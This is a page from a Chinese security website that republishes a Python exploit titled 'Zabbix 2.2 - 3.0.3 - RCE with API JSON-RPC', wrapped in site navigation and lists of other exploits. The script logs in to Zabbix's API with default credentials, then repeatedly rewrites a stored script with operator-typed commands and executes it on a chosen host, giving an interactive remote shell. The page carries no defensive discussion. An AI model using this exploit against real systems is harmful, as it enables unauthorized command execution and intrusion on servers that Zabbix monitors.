首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Zabbix 2.2 - 3.0.3 - RCE with API JSON-RPC
来源:vfocus.net 作者:Gurin 发布时间:2016-06-14  
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A
 
import requests
import json
import readline
 
ZABIX_ROOT = 'http://192.168.66.2'  ### Zabbix IP-address
url = ZABIX_ROOT + '/api_jsonrpc.php'   ### Don't edit
 
login = 'Admin'     ### Zabbix login
password = 'zabbix' ### Zabbix password
hostid = '10084'    ### Zabbix hostid
 
### auth
payload = {
    "jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
        'user': ""+login+"",
        'password': ""+password+"",
    },
    "auth" : None,
    "id" : 0,
}
headers = {
    'content-type': 'application/json',
}
 
auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()
 
while True:
    cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
    if cmd == "" : print "Result of last command:"
    if cmd == "quit" : break
 
### update
    payload = {
        "jsonrpc": "2.0",
        "method": "script.update",
        "params": {
            "scriptid": "1",
            "command": ""+cmd+""
        },
        "auth" : auth['result'],
        "id" : 0,
    }
 
    cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))
 
### execute
    payload = {
        "jsonrpc": "2.0",
        "method": "script.execute",
        "params": {
            "scriptid": "1",
            "hostid": ""+hostid+""
        },
        "auth" : auth['result'],
        "id" : 0,
    }
 
    cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
    cmd_exe = cmd_exe.json()
    print cmd_exe["result"]["value"]
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Allwinner 3.4 Legacy Kernel Lo
·iSQL 1.0 - Shell Command Injec
·OS X Kernel - Stack Buffer Ove
·iSQL 1.0 - isql_main.c Buffer
·OS X/iOS Kernel - UAF Racing g
·Apache Continuum Arbitrary Com
·OS X Kernel - Use-After-Free D
·Microsoft Internet Explorer 11
·OS X Kernel - OOB Read of Obje
·Easy RM To MP3 Converter 2.7.3
·OS X Kernel - Exploitable NULL
·Oracle Orakill.exe 11.2.0 - Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved